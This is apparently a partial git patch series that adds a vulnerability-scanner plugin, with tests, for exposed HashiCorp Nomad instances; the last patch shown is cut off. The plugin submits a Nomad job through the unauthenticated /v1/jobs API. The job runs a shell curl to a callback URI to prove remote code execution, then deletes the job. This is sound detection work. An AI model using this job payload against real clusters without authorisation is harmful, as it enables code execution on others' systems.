From 11f502550be30bc60f0a55eb8bb1fb48cab51c1d Mon Sep 17 00:00:00 2001
From: am0o0 <77095239+am0o0@users.noreply.github.com>
Date: Wed, 20 Aug 2025 01:54:09 +0400
Subject: [PATCH 1/6] hashicorp nomad exposed UI RCE
---
.../HashicorpNomad_ExposedUI.textproto | 104 +++++++++++++++++
.../HashicorpNomad_ExposedUI_test.textproto | 105 ++++++++++++++++++
2 files changed, 209 insertions(+)
create mode 100644 templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
create mode 100644 templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto
diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
new file mode 100644
index 000000000..12506fd38
--- /dev/null
+++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
@@ -0,0 +1,104 @@
+# proto-file: proto/templated_plugin.proto
+# proto-message: TemplatedPlugin
+
+###############
+# PLUGIN INFO #
+###############
+
+info: {
+ type: VULN_DETECTION
+ name: "HashicorpNomad_ExposedUI"
+ author: "Am0o0"
+ version: "0.1"
+}
+
+finding: {
+ main_id: {
+ publisher: "GOOGLE"
+ value: "HASHICORPNOMAD_EXPOSED_UI"
+ }
+ title: "Exposed HashicorpNomad instance"
+ description: "HashicorpNomad instance is exposed and can be used to compromise the system."
+ recommendation:
+ "Configure authentication or ensure the HashicorpNomad instance is not exposed "
+ "to the network. See "
+ "https://developer.hashicorp.com/nomad/install for details."
+ severity: CRITICAL
+}
+
+###########
+# ACTIONS #
+###########
+
+actions: {
+ name: "hashicorpnomad_exposed_ui_fingerprint"
+ http_request: {
+ method: GET
+ uri: "/ui/"
+ response: {
+ http_status: 200
+ expect_all: {
+ conditions: { body {} contains: 'Copyright (c) HashiCorp, Inc.' }
+ conditions: { body {} contains: '
Nomad' }
+ }
+ }
+ }
+}
+
+actions: {
+ name: "create_tsunami_job"
+ http_request: {
+ method: POST
+ uri: "/v1/jobs"
+ headers: [
+ { name: "Content-Type" value: "application/json; charset=utf-8" }
+ ]
+ data: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}'
+ response: {
+ http_status: 200
+ expect_all: {
+ conditions: { body {} contains: '"EvalCreateIndex"' }
+ conditions: { body {} contains: '"EvalID"' }
+ conditions: { body {} contains: '"Index"' }
+ conditions: { body {} contains: '"JobModifyIndex"' }
+ }
+ }
+ }
+ cleanup_actions: "cleanup_tsunami_job"
+}
+
+actions: {
+ name: "sleep"
+ utility: { sleep: { duration_ms: 3000 } }
+}
+
+actions: {
+ name: "check_callback_server_logs"
+ callback_server: { action_type: CHECK }
+}
+
+actions: {
+ name: "cleanup_tsunami_job"
+ http_request: {
+ headers: [
+ { name: "Content-Type" value: "application/json; charset=utf-8" }
+ ]
+ method: DELETE
+ uri: "/v1/job/tsunami-job?purge=true"
+ response: {
+ http_status: 200
+ }
+ }
+}
+
+#############
+# WORKFLOWS #
+#############
+workflows: {
+ actions: [
+ "hashicorpnomad_exposed_ui_fingerprint",
+ "create_tsunami_job",
+ "sleep",
+ "check_callback_server_logs"
+ ]
+}
\ No newline at end of file
diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto
new file mode 100644
index 000000000..f50d0177d
--- /dev/null
+++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto
@@ -0,0 +1,105 @@
+# proto-file: proto/templated_plugin_tests.proto
+# proto-message: TemplatedPluginTests
+
+config: {
+ tested_plugin: "HashicorpNomad_ExposedUI"
+}
+
+tests: {
+ name: "whenVulnerable_returnsVuln"
+ expect_vulnerability: true
+
+ mock_callback_server: {
+ enabled: true
+ has_interaction: true
+ }
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "/ui/"
+ status: 200
+ body_content:
+ 'Copyright (c) HashiCorp, Inc.'
+ 'Nomad'
+ },
+ {
+ uri: "/v1/jobs"
+ status: 200
+ body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}'
+ condition: {
+ body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}'
+ headers: [
+ { name: "Content-Type" value: "application/json; charset=utf-8" }
+ ]
+ },
+ },
+ {
+ uri: "/v1/job/tsunami-job?purge=true"
+ status: 200
+ condition: {
+ headers: [
+ { name: "Content-Type" value: "application/json; charset=utf-8" }
+ ]
+ }
+ }
+ ]
+ }
+}
+
+
+tests: {
+ name: "whenNotNomad_returnsNoVuln"
+ expect_vulnerability: false
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "/ui/"
+ status: 400
+ body_content: "..."
+ }
+ ]
+ }
+}
+
+tests: {
+ name: "whenNoCallback_returnsFalse"
+ expect_vulnerability: false
+
+ mock_callback_server: {
+ enabled: true
+ has_interaction: false
+ }
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "/ui/"
+ status: 200
+ body_content:
+ 'Copyright (c) HashiCorp, Inc.'
+ 'Nomad'
+ },
+ {
+ uri: "/v1/jobs"
+ status: 200
+ body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}'
+ condition: {
+ body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}'
+ headers: [
+ { name: "Content-Type" value: "application/json; charset=utf-8" }
+ ]
+ }
+ },
+ {
+ uri: "/v1/job/tsunami-job?purge=true"
+ status: 200
+ condition: {
+ headers: [
+ { name: "Content-Type" value: "application/json; charset=utf-8" }
+ ]
+ }
+ }
+ ]
+ }
+}
\ No newline at end of file
From a080d7cc95cdc317b30459d190d9e1ea38945399 Mon Sep 17 00:00:00 2001
From: am0o0 <77095239+am0o0@users.noreply.github.com>
Date: Fri, 20 Feb 2026 15:53:36 +0400
Subject: [PATCH 2/6] fix nomad jobcreate_tsunami_job action by removing
unnecessary fields
---
.../plugins/exposedui/HashicorpNomad_ExposedUI.textproto | 6 ++++--
.../exposedui/HashicorpNomad_ExposedUI_test.textproto | 2 +-
2 files changed, 5 insertions(+), 3 deletions(-)
diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
index 12506fd38..d69bb5354 100644
--- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
+++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
@@ -53,7 +53,7 @@ actions: {
headers: [
{ name: "Content-Type" value: "application/json; charset=utf-8" }
]
- data: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}'
+ data: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{}}'
response: {
http_status: 200
expect_all: {
@@ -90,7 +90,9 @@ actions: {
}
}
}
-
+config:{
+ debug: true
+}
#############
# WORKFLOWS #
#############
diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto
index f50d0177d..113d50c77 100644
--- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto
+++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto
@@ -85,7 +85,7 @@ tests: {
status: 200
body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}'
condition: {
- body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}'
+ body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{}}'
headers: [
{ name: "Content-Type" value: "application/json; charset=utf-8" }
]
From 162c76a930fbcef738f69d12725a482c3e5f29ee Mon Sep 17 00:00:00 2001
From: am0o0 <77095239+am0o0@users.noreply.github.com>
Date: Fri, 20 Feb 2026 15:57:52 +0400
Subject: [PATCH 3/6] update remaining test, remove debug config
---
.../plugins/exposedui/HashicorpNomad_ExposedUI.textproto | 3 ---
.../plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto | 2 +-
2 files changed, 1 insertion(+), 4 deletions(-)
diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
index d69bb5354..84bc21ee5 100644
--- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
+++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
@@ -90,9 +90,6 @@ actions: {
}
}
}
-config:{
- debug: true
-}
#############
# WORKFLOWS #
#############
diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto
index 113d50c77..cef5fe11b 100644
--- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto
+++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto
@@ -27,7 +27,7 @@ tests: {
status: 200
body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}'
condition: {
- body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":